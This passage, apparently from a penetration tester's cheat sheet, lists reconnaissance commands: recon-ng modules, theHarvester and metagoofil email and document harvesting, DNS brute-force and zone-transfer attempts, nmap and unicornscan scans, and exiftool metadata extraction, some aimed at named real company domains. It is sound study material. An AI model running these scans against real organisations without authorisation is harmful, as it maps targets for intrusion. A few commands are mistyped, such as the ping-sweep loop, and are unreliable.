  3075. Log in to Twitter, go to
  3076.  
  3077. https://apps.twitter.com/
  3078.  
  3079. Click on Create Application;
  3080. once the application is created,
  3081. navigate to the
  3082. Keys and Access Tokens tab
  3083. and copy the secret key and API key
  3084.  
  3085.  
  3086. Keys add twitter_api <your-copied-api-key>
  3087.  
  3088. Copy the API key, re-open the terminal window, and run the following command to add the key:
  3089.  
  3090. Keys add twitter_api <your-copied-api-key>
  3091. Now use the following command to enter the twitter_secret in recon-ng:
  3092.  
  3093. keys add  twitter_secret <you_twitter_secret>
  3094.  
  3095.  
  3096.  
  3097. add the Shodan API key. Adding the Shodan API key is fairly simple; all you need to do is create an account at https://shodan.io and click on My Account in the top-right corner. You will see the Account Overview page, where you can see a QR code image and API key,
  3098.  
  3099. Copy the API key shown in your account and add that in recon-ng using the following command:
  3100.  
  3101. keys add shodan_api <apikey>
  3102.  
  3103.  
  3104.  
  3105. show modules
  3106. use recon/domains-vulnerabilities/punkspider
  3107.  
  3108. Show module
  3109. use recon/domains-vulnerabilities/xssed
  3110. Show Options
  3111. Set source Microsoft.com
  3112. Show Options
  3113. RUN
  3114.  
  3115.  
  3116.  
  3117.  
  3118.  
  3119.  
  3120.  
  3121.  
  3122.  
  3123. use recon/contacts/gather/http/api/whois_pocs
  3124. [recon‐ng][default][whois_pocs] > show options
  3125. [recon-­ng][default][whois_pocs] > set DOMAIN cisco.com
  3126. DOMAIN => cisco.com
  3127. [recon‐ng][recon-­ng][default][whois_pocs] > run
  3128.  
  3129. use recon/hosts/enum/http/web/xssed
  3130. [recon‐ng][xssed] > set DOMAIN cisco.com
  3131. DOMAIN => cisco.com
  3132. [recon‐ng][xssed] > run
  3133.  
  3134. [recon‐ng]> use recon/hosts/gather/http/web/google_site
  3135. [recon‐ng][google_site] > set DOMAIN cisco.com
  3136. DOMAIN => cisco.com
  3137. [recon‐ng][google_site] > run
  3138.  
  3139. [recon‐ng]> use recon/hosts/gather/http/web/ip_neighbor
  3140. [recon‐ng][ip_neighbor] > set SOURCE cisco.com
  3141. SOURCE => cisco.com
  3142. [recon‐ng][ip_neighbor] > run
  3143.  
  3144.  
  3145.  
  3146.  
  3147.  
  3148. ##  DNS   forward   brute-­‐‐force   enumeration
  3149. for ip in $(cat list.txt);do host $ip.megacorpone.com;done
  3150.  
  3151.  
  3152. ## probing  the  range  of  these found addresses  in  a  loop
  3153. for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -­‐v "not found"
  3154.  
  3155.  
  3156.  
  3157.  
  3158.  
  3159.  
  3160. ffprobe -show_streams $File
  3161. ffprobe -show_packets $File
  3162.  
  3163.  
  3164.  
  3165. GraphicsMagick
  3166.  
  3167.  
  3168. ##-===================================-##
  3169. ##   [+] Verbose Image Information
  3170. ##-===================================-##
  3171. gm -identify -verbose $File
  3172.  
  3173.  
  3174. ##-==========================================-##
  3175. ##   [+] Extremely Verbose Debugging Info
  3176. ##-==========================================-##
  3177. gm -identify -verbose -debug all $File
  3178.  
  3179.  
  3180. mogrify -strip $HOME/$Directory
  3181.  
  3182. +profile "*"                    ## remove all profiles
  3183. +profile "'*'" "'$File'"
  3184. +profile iptc
  3185.  
  3186.  
  3187. ##-================================================-##
  3188. ##   [+] print Exif data contained in the file:
  3189. ##-================================================-##
  3190. gm -identify -format %[EXIF:$Tag]
  3191. gm -identify -format %[EXIF:*]                  ## print all Exif tags
  3192. gm -identify -format %[EXIF:GPSInfo]            ## print GPSInfo Exif tags
  3193. gm -identify -format %[EXIF:MakerNote]          ## print MakerNote Exif tags
  3194. gm -identify -format %[EXIF:UserComment]        ## print UserComment Exif tags
  3195.  
  3196.  
  3197.  
  3198.  
  3199.  
  3200.  
  3201.  
  3202. ##-================================-##
  3203. ##   [+] Extract Image Metadata:
  3204. ##-================================-##
  3205. exif $File.jpg
  3206. exiftags -idav $File.jpg
  3207. exifprobe $File.jpg
  3208. exiv2 -Pkyct $File.jpg
  3209. exiftool -verbose -extractEmbedded $File.jpg
  3210. exiftool -a -G1 -s $File.jpg
  3211.  
  3212. ##-======================================-##
  3213. ##   [+] Extract Date/Time Information:
  3214. ##-======================================-##
  3215. exiftool -time:all -a -G0:1 -s $File.jpg
  3216. exiftool -a -u -g1 $File.jpg
  3217.  
  3218.  
  3219. ##-========================================-##
  3220. ##   [+] Remove Metadata From $Dst image:
  3221. ##-========================================-##
  3222. exiftool -all=  $File.png
  3223.  
  3224.  
  3225. ##-=====================================-##
  3226. ##   [+] Copy Values of Writable Tags
  3227. ##   [+] From "src.jpg" To "$Dst.jpg"
  3228. ##-=====================================-##
  3229. exiftool -TagsFromFile $Src.jpg -all:all $Dst.jpg
  3230.  
  3231.  
  3232. ##-========================================-##
  3233. ##   [+] Erase All Metadata From $Dst.jpg
  3234. ##-========================================-##
  3235. ##   [+] Copy The EXIF Tags From:
  3236. ## -------------------------------- ##
  3237. ##   [+] $Src.jpg -> $Dst.jpg
  3238. ## -------------------------------- ##
  3239. exiftool -all= -tagsfromfile $src.jpg -exif:all $Dst.jpg
  3240.  
  3241.  
  3242. ##-===================================-##
  3243. ##   [+] Copy/Overwrite All Metadata
  3244. ##-===================================-##
  3245. ## ----------------------------------- ##
  3246. ##   [?] "$Src.jpg" --> "$Dst.jpg"
  3247. ## ----------------------------------- ##
  3248. ##   [+] Delete All XMP Information
  3249. ## ----------------------------------- ##
  3250. ##   [+] Delete Thumbnail From $Dst
  3251. ## ----------------------------------- ##
  3252. exiftool -tagsFromFile $a.jpg -XMP:All= -ThumbnailImage= -m $b.jpg
  3253.  
  3254.  
  3255.  
  3256. ##-=================================-##
  3257. ##   [+] Copy Metadata Information
  3258. ##-=================================-##
  3259. ## --------------------------------- ##
  3260. ##   [?] $Src.jpg -> XMP Data File
  3261. ## --------------------------------- ##
  3262. exiftool -Tagsfromfile $a.jpg $out.xmp
  3263.  
  3264.  
  3265.  
  3266.  
  3267.  
  3268.  
  3269.  
  3270.  
  3271.  
  3272.  
  3273.  
  3274.  
  3275.  
  3276. hachoir-metadata --level=9
  3277. hachoir-metadata --parser-list
  3278. hachoir-metadata --debug
  3279. hachoir-metadata --log=$File
  3280.  
  3281. hachoir-strip --strip=useless
  3282. hachoir-strip --strip=metadata
  3283.  
  3284.  
  3285.  
  3286. pdfextract $File.pdf
  3287.  
  3288.  
  3289. pdfxray_lite -f $File.pdf -r rpt_
  3290.  
  3291.  
  3292. peepdf -i
  3293.  
  3294.  
  3295.  
  3296.  
  3297. pdfid --verbose --scan $File.pdf
  3298.  
  3299. pdfid --verbose --scan --disarm --extra --output=$LogFile $File.pdf
  3300.  
  3301. pdfid --verbose --scan --disarm --all --output=$LogFile $File.pdf
  3302.  
  3303. pdfid --verbose --extra --scan $File.pdf
  3304.  
  3305. pdfid --verbose --plugins=$Plugin --scan $File.pdf
  3306.  
  3307.  
  3308.  
  3309. exiftool -exif:all      ## Display metadata
  3310. exiftool -exif:all=     ## Remove all metadata
  3311.  
  3312. exiftool -a -u -g1 $File
  3313. exiftool -k -a -u -g1 -w $OutFile $File
  3314.  
  3315.  
  3316. ##-===============================================-##
  3317. ##   [+]
  3318. ##-===============================================-##
  3319. exiftool ­All= $File.jpg
  3320. jpegtran -copy all -outfile "$1"
  3321.  
  3322.  
  3323.  
  3324. dumppdf -a      # Dump all the objects. By default only the document trailer is printed.
  3325.  
  3326. dumppdf -i objno[,objno,...]        # Specifies PDF object IDs to display. Comma-separated IDs, or multiple -i options are accepted.
  3327.  
  3328. dumppdf -p pageno[,pageno,...]
  3329.            Specifies the comma-separated list of the page numbers to be
  3330.            extracted.
  3331.  
  3332. dumppdf -r option, the “raw” stream contents are dumped without
  3333.            decompression
  3334.            -b option, the decompressed contents are dumped
  3335.            as a binary blob.
  3336.  
  3337. dumppdf -t option, the decompressed contents are
  3338.            dumped in a text format, similar to repr() manner.
  3339. dumppdf -r or -b
  3340.            option is given, no stream header is displayed for the ease of
  3341.            saving it to a file.
  3342. dumppdf -T
  3343.            Show the table of contents.
  3344.  
  3345. dumppdf -P password
  3346.            Provides the user password to access PDF contents.
  3347.  
  3348. dumppdf -d
  3349.            Increase the debug level.
  3350.  
  3351.  
  3352. Dump all the headers and contents, except stream objects:
  3353. dumppdf -a $File.pdf
  3354.  
  3355. Dump the table of contents:
  3356. dumppdf -T $File.pdf
  3357.  
  3358. Extract a JPEG image:
  3359. dumppdf -r -i6 $File.pdf > $File.jpeg
  3360.  
  3361.  
  3362.  
  3363.  
  3364.  
  3365. ## ----------------------------------------------------------------- ##
  3366. ##   [+] metagoofil - information gathering tool designed
  3367. ##                    for extracting metadata of public documents
  3368. ##                    (pdf,doc,xls,ppt,docx,pptx,xlsx)
  3369. ## ----------------------------------------------------------------- ##
  3370. metagoofil -d $Domain -t $File,pdf -l 100 -n 3 -o $DomainFiles
  3371. exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u
  3372.  
  3373.  
  3374.  
  3375. metagoofil -d uk.ibm.com -t doc,pdf -l 200 -n 50 -o ibmfiles
  3376.  
  3377. theharvester -d $Domain -b googleCSE -l 500 -s 300
  3378. metagoofil -d sina.com -t pdf -l 200 -o test -f 1.html
  3379.  
  3380. metagoofil -d $Domain -t doc,pdf -l 200 -n 50 -o $Files -f $Results.html
  3381. metagoofil -h yes -o $Files -f $Results.html        ## (local dir analysis)
  3382.  
  3383.  
  3384.  
  3385. metagoofil.py -d $target -t doc,xls,docx -l 200 -n 50 -o ~/Desktop/$target/metagoofil.tmp/ -f ~/Desktop/$target/users.html
  3386. cat ~/Desktop/$target/users.html | sed 's/useritem/\n/g' | grep '">' | grep -vE 'head' | awk -F "<" {'print $1'} | cut -d">" -f2 | sed -e "s/^ \{1,\}//" >> ~/Desktop/$target/users.txt
  3387.  
  3388.  
  3389.  
  3390. metagoofil -d $Domain -w -t pdf,doc,xls,ppt,docx,ppt -o $File
  3391.  
  3392.  
  3393. metagoofil -d $Domain -t $Filetype,$Filetype -l# of results” -n “# of downloads” -o “specify directory to save in” -f “specify name and location of file save”
  3394.  
  3395.  
  3396. metagoofil -d $Domain -t $Filetype,$Filetype -l $NumResults -n $NumDownloads -o ~/$Dir/ -f /$Dir/$File.html
  3397.  
  3398. metagoofil -d $Domain -t $Filetype,$Filetype -l $NumResults -n $NumDownloads -o ~/$Dir/ -f /$Dir/$File.html
  3399.  
  3400. metagoofil -d $Domain -t pdf,doc,ppt -l 200 -n 5 -o ~/Downloads/metagoofil/ -f /root/Desktop/metagoofil/$Results.html
  3401.  
  3402. metagoofil -d $Domain -w -t pdf,doc,xls,ppt,docx,ppt -o $File
  3403.  
  3404.  
  3405. metagoofil -d <target>.com -t pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx -l 200 -n 5 -o /tmp/metagoofil/ -f /tmp/metagoofil/result.html
  3406.  
  3407.  
  3408.  
  3409. ##-====================================-##
  3410. ##   [+] find subdomains available:
  3411. ##-====================================-##
  3412. goorecon -s $Domain
  3413.  
  3414.  
  3415. ##-==========================================-##
  3416. ##   [+] Find email addresses for Domain:
  3417. ##-==========================================-##
  3418. goorecon -e $Domain
  3419.  
  3420.  
  3421.  
  3422.  
  3423. ## --------------------------------------------------------------------------------------------------- ##
  3424. theHarvester -d $Domain -l 50 -b google
  3425. theHarvester -d $Domain -l 50 -b bing
  3426. theHarvester -d $Domain -l 50 -b linkedin
  3427. ## --------------------------------------------------------------------------------------------------- ##
  3428. theHarvester -d $Domain -b all          ## Search all, google, googleCSE, bing, bingapi, pgp,
  3429. theHarvester -d $Domain -b pgp          ##  > linkedin,google-profiles, jigsaw, twitter, googleplus
  3430. theHarvester -d $Domain -b bing
  3431. theHarvester -d $Domain -b google
  3432. theHarvester -d $Domain -b twitter
  3433. theHarvester -d $Domain -b jigsaw
  3434. theHarvester -d $Domain -b linkedin
  3435. ## --------------------------------------------------------------------------------------------------- ##
  3436. theHarvester -d $Domain -n              ## Perform a DNS reverse query on all ranges discovered
  3437. theHarvester -d $Domain -c              ## Perform a DNS brute force for the domain name
  3438. theHarvester -d $Domain -t              ## Perform a DNS TLD expansion discovery
  3439. theHarvester -d $Domain -e $DNS         ## Specfic a dns server
  3440. theHarvester -d $Domain -h              ## use SHODAN database to query discovered hosts
  3441. ## --------------------------------------------------------------------------------------------------- ##
  3442. theharvester -d $Domain -l 500 -b google -h $Domain.html
  3443. theharvester -d $Domain -b pgp
  3444. theharvester -d $Domain -l 200 -b linkedin
  3445. theharvester -d $Domain -b googleCSE -l 500 -s 300
  3446. ## --------------------------------------------------------------------------------------------------- ##
  3447.  
  3448.  
  3449. ##-==========================-##
  3450. ##  [+] Harvester - Flags
  3451. ##-==========================-##
  3452. theharvester -d $Domain -l $Limit -b $DataSource
  3453.  
  3454.  
  3455. ##-=======================================-##
  3456. ##  [+] Harvester Data Source - Twitter
  3457. ##-=======================================-##
  3458. theharvester -d $Domain -l 500 -b twitter
  3459.  
  3460.  
  3461.  
  3462.  
  3463.  
  3464.  
  3465.  
  3466. ##-==========================-##
  3467. ##  [+] Harvester - Flags
  3468. ##-==========================-##
  3469. theharvester -d $Domain -l $Limit -b $DataSource
  3470.  
  3471.  
  3472. ##-===================================================-##
  3473. ##  [+] Harvester Data Source - All Search Engines
  3474. ##-===================================================-##
  3475. theharvester -d url -l 500 -b all -b all = all search engines
  3476.  
  3477.  
  3478. ##-=======================================-##
  3479. ##  [+] Harvester Data Source - Google
  3480. ##-=======================================-##
  3481. theharvester -d $Domain -l 500 -b google
  3482. theharvester -d $Domain -b google > google.txt
  3483.  
  3484.  
  3485. ##-=======================================-##
  3486. ##  [+] Harvester Data Source - Twitter
  3487. ##-=======================================-##
  3488. theharvester -d $Domain -l 500 -b twitter
  3489.  
  3490.  
  3491. ##-======================================================-##
  3492. ##  [+] Use SHODAN database to query discovered hosts
  3493. ##-======================================================-##
  3494. theharvester -d $Domain -h > $Domain-SHODAN-Query.txt
  3495.  
  3496.  
  3497.  
  3498.  
  3499.  
  3500.  
  3501. ##-=================================================================-##
  3502. ##   [+]
  3503. ##-=================================================================-##
  3504. automater -s robtex $IP
  3505.  
  3506.  
  3507.  
  3508. tracepath
  3509.  
  3510.  
  3511.  
  3512. tcptraceroute -i eth0 $Domain
  3513.  
  3514.  
  3515.  
  3516. mtr
  3517.  
  3518.  
  3519.  
  3520. nmap -PN -n -F -T4 -sV -A -oG $File.txt $Domain
  3521.  
  3522.  
  3523.  
  3524. amap -d $IP $PORT
  3525.  
  3526.  
  3527.  
  3528.  
  3529.  
  3530. browse to
  3531. http://127.0.0.1/unicornscan
  3532.  
  3533. ­epgsqldb
  3534.  
  3535.  
  3536. unicornscan -v $IP                 ## runs the default TCP SYN scan
  3537. unicornscan -v -m U $IP            ## scan type is supposed to be UDP
  3538. unicornscan X.X.X.X:a -r10000 -v
  3539. unicornscan 192.168.0.0/24:139              ## network wide scan on port 139:
  3540.  
  3541. unicornscan -mT -I 10.11.1.252:a -v
  3542. unicornscan -mU -I 10.11.1.252:p -v
  3543.  
  3544. unicornscan -mU -I 192.168.24.53:a -v -l unicorn_full_udp.txt ;  unicornscan -mT -I 192.168.24.53:a -v -l unicorn_full_tcp.txt
  3545.  
  3546.  
  3547.  
  3548.  
  3549. nslookup -> set type=any -> ls -d $Domain.com
  3550. for sub in $(cat subdomains.txt);do host $sub.$Domain.com|grep "has.address";done
  3551.  
  3552.  
  3553.  
  3554. ##-==============-##
  3555. ##  [+] MTR
  3556. ##-==============-##
  3557. mtr $Domain
  3558.  
  3559.  
  3560.  
  3561.  
  3562.  
  3563. ## ----------------------------------------------------------------------------------------- ##
  3564.     host -t ns $Domain.com                    # Show name servers
  3565. ## ----------------------------------------------------------------------------------------- ##
  3566.     host -t mx $Domain.com                    # Show mail servers
  3567. ## ----------------------------------------------------------------------------------------- ##
  3568.     host $Domain.com
  3569. ## ----------------------------------------------------------------------------------------- ##
  3570.     host -l $Domain.com $NameServer          # Zone transfer
  3571. ## ----------------------------------------------------------------------------------------- ##
  3572.     host -C $Domain                         ## SOA Records
  3573. ## ----------------------------------------------------------------------------------------- ##
  3574.     host -a $Domain
  3575. ## ----------------------------------------------------------------------------------------- ##
  3576.     host $IP
  3577. ## ----------------------------------------------------------------------------------------- ##
  3578.     host -4
  3579. ## ----------------------------------------------------------------------------------------- ##
  3580.     host -6
  3581. ## ----------------------------------------------------------------------------------------- ##
  3582.  
  3583.  
  3584.  
  3585.  
  3586.  
  3587.  
  3588. ##-===============================================================-##
  3589. ##  [+] Use a bash loop to find the IP address behind each host
  3590. ##-===============================================================-##
  3591. for url in $(cat list.txt); do host $url; done
  3592.  
  3593. ##-=========================================================================-##
  3594. ##  [+] Collect all the IP Addresses from a log file and sort by frequency
  3595. ##-=========================================================================-##
  3596. cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
  3597.  
  3598.  
  3599.  
  3600. ## ----------------------------------------------------------------------------------------- ##
  3601.     dig +short +identify $Server                ## see what name server
  3602.                                                 ## or whose cache is providing answers
  3603. ## ----------------------------------------------------------------------------------------- ##
  3604.     dig +trace $Domain.com                      ## Debug DNS Tracing
  3605. ## ----------------------------------------------------------------------------------------- ##
  3606.     dig $Domain.com | grep status               ## receive the NXDOMAIN status.
  3607. ## ----------------------------------------------------------------------------------------- ##
  3608.     dig $Domain.com | grep Query                ## query time only
  3609. ## ----------------------------------------------------------------------------------------- ##
  3610.     dig $Domain.com $Type                       ## a, mx, ns, soa, srv, txt, any
  3611. ## ----------------------------------------------------------------------------------------- ##
  3612.     dig -x $TargetIP                            ## Pointer records
  3613. ## ----------------------------------------------------------------------------------------- ##
  3614.     dig @$NameServerIP $Domain.com axfr         ## Zone transfer
  3615. ## ----------------------------------------------------------------------------------------- ##
  3616.     dig @$NameServerIP $Domain.com afro         ## Forward zone transfer
  3617. ## ----------------------------------------------------------------------------------------- ##
  3618.     dig @$IPAddr $Domain +norecurse             ## Non recursive query (cache lookup)
  3619. ## ----------------------------------------------------------------------------------------- ##
  3620.     dig MX +short $Domain                       ## Perform MX Record Lookup
  3621. ## ----------------------------------------------------------------------------------------- ##
  3622.     dig +short -t txt $@                        ## Sender Policy Framework (SPF) record
  3623. ## ----------------------------------------------------------------------------------------- ##
  3624.     dig ns $Domain                              ## List the Name Servers for google.com
  3625. ## ----------------------------------------------------------------------------------------- ##
  3626.     dig a $Domain.com @$Nameserver              ## Perform DNS IP Lookup
  3627. ## ----------------------------------------------------------------------------------------- ##
  3628.  
  3629.  
  3630.  
  3631. ##-============================================-##
  3632. ##  [+] Query Wikipedia via console over DNS
  3633. ##-============================================-##
  3634. dig +short txt <keyword>.wp.dg.cx
  3635.  
  3636.  
  3637. ##-=============================-##
  3638. ##  [+] Dig Debug DNS Tracing
  3639. ##-=============================-##
  3640. dig +trace $Domain
  3641.  
  3642.  
  3643. ##-==================================================-##
  3644. ##  [+] Extract your external IP address using dig
  3645. ##-==================================================-##
  3646. dig +short myip.opendns.com @resolver1.opendns.com
  3647.  
  3648.  
  3649. ##-==================================================-##
  3650. ##  [+] Reverse domain name resolution (PTR record)
  3651. ##-==================================================-##
  3652. dig -x 220.181.14.155 +noall +answer
  3653.  
  3654.  
  3655.  
  3656.  
  3657. dig $Domain +nssearch
  3658.  
  3659.  
  3660.  
  3661. dig $Domain +nssearch | cut -d' ' -f4,11
  3662.  
  3663.  
  3664.  
  3665. dig +onesoa +nocomments +nocmd +nostats AXFR
  3666.  
  3667.  
  3668. dig +onesoa +nocomments +nocmd +nostats AXFR  @161.97.219.84
  3669.  
  3670.  
  3671.  
  3672. dig_tld () {
  3673.   /usr/bin/dig +onesoa +nocomments +nocmd +nostats AXFR $1 @$2 > output/$1.zone
  3674.   sed "/NSEC\|RRSIG\|DNSKEY\|SOA\|^$1\./d" < output/$1.zone > output/include/$1.zone
  3675. }
  3676.  
  3677. /usr/bin/dig +onesoa +nocomments +nocmd +nostats AXFR \. @161.97.219.84 > output/root.zone
  3678. sed "/NSEC\|RRSIG\|DNSKEY\|SOA\|^\./d" < output/root.zone > output/include/root.zone
  3679.  
  3680.  
  3681. dig +onesoa +nocomments +nocmd +nostats AXFR $1 @$2
  3682.  
  3683. query=""
  3684. for type in {A,AAAA,ALIAS,CNAME,MX,NS,PTR,SOA,SRV,TXT,DNSKEY,DS,NSEC,NSEC3,NSEC3PARAM,RRSIG,AFSDB,ATMA,CAA,CERT,DHCID,DNAME,HINFO,ISDN,LOC,MB,MG,MINFO,MR,NAPTR,NSAP,RP,RT,TLSA,X25} ; do
  3685.   dig +noall +short +noshort +answer $query $type ${1} 2>/dev/null
  3686. done
  3687.  
  3688.  
  3689.  
  3690.  
  3691.  
  3692. Query DNS bind version information Most DNS servers use BIND to query the version information of bind,
  3693.  not all DNS servers can query BIND information,
  3694.  most dns servers The protection mode is set
  3695.  and cannot be queried in this way.
  3696.  
  3697.  
  3698. dig +noall +answer $Domain ns
  3699.  
  3700.  
  3701. dig +noall +answer txt chaos VERSION.BIND ns3.sina.com.cn.
  3702.  
  3703.  
  3704.  
  3705.  
  3706.  
  3707.  
  3708. /etc/systemd/resolved.conf
  3709.  
  3710. DNS=
  3711.  
  3712. resolvectl status
  3713. resolvectl query
  3714.  
  3715.  
  3716.  
  3717.  
  3718. ## ----------------------------------------------------------------------------------------- ##
  3719.     nslookup $Domain.com                    ## Query A and PTR Records
  3720. ## ----------------------------------------------------------------------------------------- ##
  3721.     nslookup $Domain.com x.x.x.x            ## Query A and PTR record
  3722.                                             ## using a different name server
  3723. ## ----------------------------------------------------------------------------------------- ##
  3724.     nslookup -debug google.com              ## Debug Mode for nslookup
  3725. ## ----------------------------------------------------------------------------------------- ##
  3726.     nslookup -query=ns $Domain.com          ## Query Nameserver records
  3727. ## ----------------------------------------------------------------------------------------- ##
  3728.     nslookup -querytype=mx $Domain.com      ## Query MX record
  3729. ## ----------------------------------------------------------------------------------------- ##
  3730.     nslookup set type=mx $Domain.com        ## Interactive option
  3731. ## ----------------------------------------------------------------------------------------- ##
  3732.     nslookup -norecursive $Domain.com       ## Non Recursive lookup
  3733. ## ----------------------------------------------------------------------------------------- ##
  3734.     nslookup recursive $Domain.com          ## Recursive lookup
  3735. ## ----------------------------------------------------------------------------------------- ##
  3736.     nslookup ns4.google.com                 ## Resolve the IP Address for ns4.google.com
  3737. ## ----------------------------------------------------------------------------------------- ##
  3738.  
  3739.  
  3740. ## ----------------------------------------------------------------------------------------- ##
  3741.     nslookup server $Server set type=any ls -d $Target      ## DNS zone transfer
  3742. ## ----------------------------------------------------------------------------------------- ##
  3743.  
  3744.  
  3745.  
  3746. ##-==========================-##
  3747. ##  [+] DNS zone transfer
  3748. ##-==========================-##
  3749.  
  3750. nslookup server $Server set type=any ls -d $Target      ## DNS zone transfer
  3751.  
  3752.  
  3753. ##-==================================================-##
  3754. ##  [+] return verbose information about a record
  3755. ##-==================================================-##
  3756. set debug
  3757.  
  3758.  
  3759.  
  3760.  
  3761. dig $Domain.com +nssearch
  3762.  
  3763.  
  3764.  
  3765. dig $Domain.com +nssearch | cut -d' ' -f4,11
  3766.  
  3767.  
  3768.  
  3769.  
  3770.  
  3771. DNS lookups
  3772. Zone Transfers
  3773.  
  3774.  
  3775. whois $Domain.com
  3776. dig {a|txt|ns|mx} $Domain.com
  3777. dig {a|txt|ns|mx} $Domain.com @ns1.domain.com
  3778.  
  3779.  
  3780. host -t {a|txt|ns|mx} $Domain.com
  3781. host -a $Domain.com
  3782. host -l $Domain.com ns1.$Domain.com
  3783.  
  3784.  
  3785. host -T -l $Domain ns4.$Domain
  3786.  
  3787.  
  3788. dnsrecon -d $Domain.com -t axfr @ns2.$Domain.com
  3789.  
  3790.  
  3791. dnsenum $Domain.com
  3792.  
  3793.  
  3794. dnsrecon -d $Domain --lifetime 10 -t brt -D usr/share/dnsrecon/namelist.txt -x sina.xml
  3795.  
  3796.  
  3797.  
  3798. ##-==================================================-##
  3799. ##  [+] Dnsrecon DNS Brute Force
  3800.  
  3801. dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml $File.xml
  3802.  
  3803.  
  3804.  
  3805. dnsenum -f /usr/share/dnsenum/dns.txt -dnsserver 8.8.8.8 $Domain -o $Domain.xml
  3806.  
  3807.  
  3808.  
  3809. ##-======================================-##
  3810. ##  [+] Dnsrecon DNS List of $Domain
  3811. ##-======================================-##
  3812. dnsrecon -d $Domain -t axfr
  3813.  
  3814.  
  3815.  
  3816. ##-=================-##
  3817. ##  [+] DNSEnum
  3818. ##-=================-##
  3819. dnsenum $Domain
  3820.  
  3821.  
  3822.  
  3823.  
  3824. ## --------------------------------------------------------------------------------------------------------------------------------------------- ##
  3825. ##    [?] enumerate DNS information of a domain and to discover non-contiguous ip blocks.
  3826. ## --------------------------------------------------------------------------------------------------------------------------------------------- ##
  3827. dnsenum --verbose --noreverse -o $File.xml $Domain
  3828.  
  3829.  
  3830.  
  3831. dnsenum --verbose --file /usr/share/dnsenum/dns.txt -dnsserver 8.8.8.8 $Domain -o $Domain.xml
  3832.  
  3833.  
  3834. ##-===============================================-##
  3835. ##  [+] Write all valid subdomains to this file.
  3836. ##-===============================================-##
  3837. ## ------------------------------------------------------ ##
  3838. ##  [?] Subdomains are taken from: NS and MX records,
  3839. ##  [?] zonetransfer, google scraping,
  3840. ##  [?] brute force and reverse lookup hostnames.
  3841. ## ------------------------------------------------------ ##
  3842. dnsenum --verbose --subfile $File $Domain
  3843.  
  3844.  
  3845. ##-==============================================================-##
  3846. ##  [+] Read subdomains from this file to perform brute force.
  3847. ##-==============================================================-##
  3848. dnsenum --verbose --file $File
  3849.  
  3850.  
  3851. ##-==============================================-##
  3852. ##  [+] Recursion on subdomains
  3853. ##  [+] brute force all discovered subdomains
  3854. ##-==============================================-##
  3855. dnsenum --verbose --recursion $Domain
  3856.  
  3857.  
  3858. http_proxy=http://127.0.0.1:8118/
  3859. HTTP_PROXY=http://127.0.0.1:8118/
  3860.  
  3861.  
  3862.  
  3863.  
  3864. allinurl: -www site:domain
  3865.  
  3866.  
  3867.  
  3868.  
  3869.  
  3870.  
  3871.  
  3872. ## ------------------------------------------------------------------------------- ##
  3873.     dig @127.0.0.1 NS $Domain.com               ## To test the local server
  3874.     dig @204.97.212.10 NS MX $Domain.com        ## Query an external server
  3875.     dig AXFR @ns1.$Domain.org @$Domain.com      ## Get the full zone (zone transfer)
  3876. ## ------------------------------------------------------------------------------- ##
  3877.  
  3878.  
  3879.  
  3880. ##-=====================-##
  3881. ##   [+] PING SWEEP
  3882. ##-=====================-##
  3883. for x in {1 .. 254 .. l};do ping -c 1 l.l.l.$x lgrep "64 b" lcut -d" "-f4 ips.txt; done
  3884.  
  3885.  
  3886. ##-============================-##
  3887. ##   [+] DNS REVERSE LOOKUP
  3888. ##-============================-##
  3889. for ip in {1 .. 254 .. 1}; do dig -x l.l.l.$ip |grep $ip dns.txt; done;
  3890.  
  3891.  
  3892. ##-====================================================================-##
  3893. ##   [+] Reverse Lookup Brute Force - find domains in the same range
  3894. ##-====================================================================-##
  3895. for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
  3896.  
  3897.  
  3898.  
  3899. ##-==========================================-##
  3900. ##   [+] Dig - Find all of the signed TLDs:
  3901. ##-==========================================-##
  3902. ## ------------------------------------------ ##
  3903. ##   [?] The RRSIG RRs will be supplied
  3904. ## ------------------------------------------ ##
  3905. dig @xfr.lax.dns.icann.org . axfr > root-zone-file | grep DS root-zone-file
  3906.  
  3907.  
  3908.  
  3909.  
  3910.  
  3911. dig +dnssec $Domain.tld
  3912. dig +dnssec $Register.tld
  3913.  
  3914. dig +dnssec labs.nic.cz @localhost
  3915.  
  3916.  
  3917.  
  3918.  
  3919. dig @192.168.56.104 chaos version.bind txt
  3920. dig @<NameServer> chaos hostname.bind TXT
  3921. dig @<NameServer> chaos authors.bind TXT
  3922. dig @<NameServer> chaos ID.server TXT
  3923.  
  3924.  
  3925.  
  3926. ## ----------------------------------------------------------------------------- ##
  3927. alias dns1="dig +short @resolver1.opendns.com myip.opendns.com"
  3928. alias dns2="dig +short @208.67.222.222 myip.opendns.com"
  3929. alias dns3="dig +short @208.67.220.220 which.opendns.com txt"
  3930. ## ============================================================== ##
  3931.  
  3932.  
  3933. ## Get your outgoing IP address
  3934.  
  3935. alias myip='dig +short myip.opendns.com @resolver1.opendns.com'
  3936. ## ----------------------------------------------------------------------------- ##
  3937.  
  3938.  
  3939.  
  3940.  
  3941.  
  3942. 0trace eth0 $Domain
  3943.  
  3944. itrace -i eth0 -d $Domain
  3945.  
  3946. intrace
  3947.  
  3948. tctrace -i eth0 -d $Domain
  3949.  
  3950. tcptraceroute -i eth0 $Domain
  3951.  
  3952.  
  3953.  
  3954. tcptrace -l -r o3 $File
  3955.  
  3956.  
  3957.  
  3958.  
  3959. ##-====================================================-##
  3960. ##   [+] Print List of Live Hosts on Local Network:
  3961. ##-====================================================-##
  3962. genlist -s 192.168.1.\*
  3963.  
  3964.  
  3965.  
  3966.  
  3967.  
  3968.  
  3969. fierce --domain $Domain --subdomains accounts --traverse 10
  3970.  
  3971.  
  3972. ##-============================================================================-##
  3973. ##   [+] Limit nearby IP traversal to certain domains with the --search flag:
  3974. ##-============================================================================-##
  3975. fierce --domain $Domain --subdomains admin --search $Domain $Domain
  3976.  
  3977.  
  3978. ##-==================================================================================-##
  3979. ##   [+] Attempt an HTTP connection on domains discovered with the --connect flag:
  3980. ##-==================================================================================-##
  3981. fierce --domain $Domain --subdomains mail --connect
  3982.  
  3983.  
  3984.  
  3985. ##-=========================-##
  3986. ##  [+] Fierce
  3987. ##-=========================-##
  3988. fierce -dns $Domain
  3989. fierce -dns $Domain -file $OutputFile
  3990. fierce -dns $Domain -dnsserver $Server
